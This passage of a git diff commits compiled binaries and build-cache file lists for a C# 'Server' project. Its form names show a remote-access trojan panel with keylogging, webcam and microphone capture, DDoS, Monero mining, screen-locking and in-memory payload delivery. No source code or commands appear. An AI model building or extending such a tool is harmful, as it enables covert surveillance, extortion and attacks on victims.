b/Server/obj/Release/Server.Forms.FormProgressBar.resources differ diff --git a/Server/obj/Release/Server.Forms.FormRegValueEditBinary.resources b/Server/obj/Release/Server.Forms.FormRegValueEditBinary.resources new file mode 100644 index 0000000..98422f5 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormRegValueEditBinary.resources differ diff --git a/Server/obj/Release/Server.Forms.FormRegValueEditMultiString.resources b/Server/obj/Release/Server.Forms.FormRegValueEditMultiString.resources new file mode 100644 index 0000000..98422f5 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormRegValueEditMultiString.resources differ diff --git a/Server/obj/Release/Server.Forms.FormRegValueEditString.resources b/Server/obj/Release/Server.Forms.FormRegValueEditString.resources new file mode 100644 index 0000000..98422f5 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormRegValueEditString.resources differ diff --git a/Server/obj/Release/Server.Forms.FormRegValueEditWord.resources b/Server/obj/Release/Server.Forms.FormRegValueEditWord.resources new file mode 100644 index 0000000..98422f5 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormRegValueEditWord.resources differ diff --git a/Server/obj/Release/Server.Forms.FormRegedit.resources b/Server/obj/Release/Server.Forms.FormRegedit.resources new file mode 100644 index 0000000..eb3e6f1 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormRegedit.resources differ diff --git a/Server/obj/Release/Server.Forms.FormRemoteCamera.resources b/Server/obj/Release/Server.Forms.FormRemoteCamera.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormRemoteCamera.resources differ diff --git a/Server/obj/Release/Server.Forms.FormRemoteDesktop.resources b/Server/obj/Release/Server.Forms.FormRemoteDesktop.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormRemoteDesktop.resources differ diff --git a/Server/obj/Release/Server.Forms.FormRemoteMicrophone.resources b/Server/obj/Release/Server.Forms.FormRemoteMicrophone.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormRemoteMicrophone.resources differ diff --git a/Server/obj/Release/Server.Forms.FormReverseProxy.resources b/Server/obj/Release/Server.Forms.FormReverseProxy.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormReverseProxy.resources differ diff --git a/Server/obj/Release/Server.Forms.FormSendInMemory.resources b/Server/obj/Release/Server.Forms.FormSendInMemory.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormSendInMemory.resources differ diff --git a/Server/obj/Release/Server.Forms.FormSendInMemoryLink.resources b/Server/obj/Release/Server.Forms.FormSendInMemoryLink.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormSendInMemoryLink.resources differ diff --git a/Server/obj/Release/Server.Forms.FormService.resources b/Server/obj/Release/Server.Forms.FormService.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormService.resources differ diff --git a/Server/obj/Release/Server.Forms.FormShell.resources b/Server/obj/Release/Server.Forms.FormShell.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormShell.resources differ diff --git a/Server/obj/Release/Server.Forms.FormSpeakBot.resources b/Server/obj/Release/Server.Forms.FormSpeakBot.resources new file mode 100644 index 0000000..c951836 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormSpeakBot.resources differ diff --git a/Server/obj/Release/Server.Forms.FormTaskMgr.resources b/Server/obj/Release/Server.Forms.FormTaskMgr.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormTaskMgr.resources differ diff --git a/Server/obj/Release/Server.Forms.FormTaskScheduler.resources b/Server/obj/Release/Server.Forms.FormTaskScheduler.resources new file mode 100644 index 0000000..53b9e10 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormTaskScheduler.resources differ diff --git a/Server/obj/Release/Server.Forms.FormWinlocker.resources b/Server/obj/Release/Server.Forms.FormWinlocker.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Release/Server.Forms.FormWinlocker.resources differ diff --git a/Server/obj/Release/Server.Forms.InputBoxCustom.resources b/Server/obj/Release/Server.Forms.InputBoxCustom.resources new file mode 100644 index 0000000..68a6e68 Binary files /dev/null and b/Server/obj/Release/Server.Forms.InputBoxCustom.resources differ diff --git a/Server/obj/Release/Server.Forms.Message.resources b/Server/obj/Release/Server.Forms.Message.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Release/Server.Forms.Message.resources differ diff --git a/Server/obj/Release/Server.Helper.Notif.Notf.resources b/Server/obj/Release/Server.Helper.Notif.Notf.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Server/obj/Release/Server.Helper.Notif.Notf.resources differ diff --git a/Server/obj/Release/Server.Properties.Resources.resources b/Server/obj/Release/Server.Properties.Resources.resources new file mode 100644 index 0000000..950e46e Binary files /dev/null and b/Server/obj/Release/Server.Properties.Resources.resources differ diff --git a/Server/obj/Release/Server.csproj.AssemblyReference.cache b/Server/obj/Release/Server.csproj.AssemblyReference.cache new file mode 100644 index 0000000..01487ec Binary files /dev/null and b/Server/obj/Release/Server.csproj.AssemblyReference.cache differ diff --git a/Server/obj/Release/Server.csproj.CoreCompileInputs.cache b/Server/obj/Release/Server.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..f087c92 --- /dev/null +++ b/Server/obj/Release/Server.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +69d050e36e0a8039482d0db152aaacc28035fbb2adbde52dff18201383b442e6 diff --git a/Server/obj/Release/Server.csproj.FileListAbsolute.txt b/Server/obj/Release/Server.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..4993503 --- /dev/null +++ b/Server/obj/Release/Server.csproj.FileListAbsolute.txt @@ -0,0 +1,58 @@ +C:\Users\Admin\Desktop\Server\obj\Release\Server.csproj.AssemblyReference.cache +C:\Users\Admin\Desktop\Server\obj\Release\Server.Form1.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.ComboBoxCustom.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormAddAutoRun.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormAutoRun.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormAutoTasksAdd.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormChat.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormClipboard.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormDDOS.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormFileManager.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormFreendConnect.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormFun.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormKeyLogger.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormMap.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormMessage.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormMinerEtc.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormMinerXmr.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormNetStat.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormProgressBar.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormRegedit.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormRegValueEditBinary.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormRegValueEditMultiString.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormRegValueEditString.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormRegValueEditWord.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormRemoteCamera.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormRemoteDesktop.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormRemoteMicrophone.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormReverseProxy.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormSendInMemory.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormSendInMemoryLink.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormService.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormShell.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormSpeakBot.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormTaskMgr.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormTaskScheduler.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.FormWinlocker.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.InputBoxCustom.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Forms.Message.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Helper.Notif.Notf.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.Properties.Resources.resources +C:\Users\Admin\Desktop\Server\obj\Release\Server.csproj.GenerateResource.cache +C:\Users\Admin\Desktop\Server\obj\Release\Server.csproj.CoreCompileInputs.cache +C:\Users\Admin\Desktop\Server\bin\Release\Server.exe +C:\Users\Admin\Desktop\Server\bin\Release\Server.pdb +C:\Users\Admin\Desktop\Server\bin\Release\cGeoIp.dll +C:\Users\Admin\Desktop\Server\bin\Release\dnlib.dll +C:\Users\Admin\Desktop\Server\bin\Release\GMap.NET.Core.dll +C:\Users\Admin\Desktop\Server\bin\Release\GMap.NET.WindowsForms.dll +C:\Users\Admin\Desktop\Server\bin\Release\IconExtractor.dll +C:\Users\Admin\Desktop\Server\bin\Release\Ionic.Zip.dll +C:\Users\Admin\Desktop\Server\bin\Release\MetroFramework.dll +C:\Users\Admin\Desktop\Server\bin\Release\NAudio.dll +C:\Users\Admin\Desktop\Server\bin\Release\Newtonsoft.Json.dll +C:\Users\Admin\Desktop\Server\bin\Release\protobuf-net.dll +C:\Users\Admin\Desktop\Server\bin\Release\Vestris.ResourceLib.dll +C:\Users\Admin\Desktop\Server\obj\Release\Server.csproj.Up2Date +C:\Users\Admin\Desktop\Server\obj\Release\Server.exe +C:\Users\Admin\Desktop\Server\obj\Release\Server.pdb diff --git a/Server/obj/Release/Server.csproj.FilesWrittenAbsolute.txt b/Server/obj/Release/Server.csproj.FilesWrittenAbsolute.txt new file mode 100644 index 0000000..f9d69ae --- /dev/null +++ b/Server/obj/Release/Server.csproj.FilesWrittenAbsolute.txt @@ -0,0 +1,57 @@ +/home/ubuntu/Собрание шитрат/Server/obj/Release/.NETFramework,Version=v4.6.2.AssemblyAttribute.cs +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Form1.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.ComboBoxCustom.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormAddAutoRun.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormAutoRun.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormAutoTasksAdd.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormChat.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormClipboard.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormDDOS.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormFileManager.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormFreendConnect.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormFun.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormKeyLogger.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormMap.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormMessage.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormMinerEtc.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormMinerXmr.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormNetStat.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormProgressBar.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormRegedit.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormRegValueEditBinary.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormRegValueEditMultiString.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormRegValueEditString.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormRegValueEditWord.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormRemoteCamera.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormRemoteDesktop.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormRemoteMicrophone.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormReverseProxy.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormSendInMemory.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormSendInMemoryLink.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormService.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormShell.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormSpeakBot.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormTaskMgr.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormTaskScheduler.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.FormWinlocker.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.InputBoxCustom.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Forms.Message.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Helper.Notif.Notf.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.Properties.Resources.resources +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.exe +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.pdb +/home/ubuntu/Собрание шитрат/Server/bin/Release/GMap.NET.Core.dll +/home/ubuntu/Собрание шитрат/Server/bin/Release/GMap.NET.WindowsForms.dll +/home/ubuntu/Собрание шитрат/Server/bin/Release/IconExtractor.dll +/home/ubuntu/Собрание шитрат/Server/bin/Release/Ionic.Zip.dll +/home/ubuntu/Собрание шитрат/Server/bin/Release/MetroFramework.dll +/home/ubuntu/Собрание шитрат/Server/bin/Release/NAudio.dll +/home/ubuntu/Собрание шитрат/Server/bin/Release/Newtonsoft.Json.dll +/home/ubuntu/Собрание шитрат/Server/bin/Release/Vestris.ResourceLib.dll +/home/ubuntu/Собрание шитрат/Server/bin/Release/cGeoIp.dll +/home/ubuntu/Собрание шитрат/Server/bin/Release/dnlib.dll +/home/ubuntu/Собрание шитрат/Server/bin/Release/protobuf-net.dll +/home/ubuntu/Собрание шитрат/Server/bin/Release/Server.exe.mdb +/home/ubuntu/Собрание шитрат/Server/bin/Release/Server.pdb +/home/ubuntu/Собрание шитрат/Server/bin/Release/Server.exe +/home/ubuntu/Собрание шитрат/Server/obj/Release/Server.exe.mdb diff --git a/Server/obj/Release/Server.csproj.GenerateResource.cache b/Server/obj/Release/Server.csproj.GenerateResource.cache new file mode 100644 index 0000000..71c72c9 Binary files /dev/null and b/Server/obj/Release/Server.csproj.GenerateResource.cache differ diff --git a/Server/obj/Release/Server.csproj.Up2Date b/Server/obj/Release/Server.csproj.Up2Date new file mode 100644 index 0000000..e69de29 diff --git a/Server/obj/Release/Server.exe b/Server/obj/Release/Server.exe new file mode 100644 index 0000000..242aab6 Binary files /dev/null and b/Server/obj/Release/Server.exe differ diff --git a/Server/obj/Release/Server.exe.mdb b/Server/obj/Release/Server.exe.mdb new file mode 100644 index 0000000..cdc1c2a Binary files /dev/null and b/Server/obj/Release/Server.exe.mdb differ diff --git a/Server/obj/Release/Server.pdb b/Server/obj/Release/Server.pdb new file mode 100644 index 0000000..0c05252 Binary files /dev/null and b/Server/obj/Release/Server.pdb differ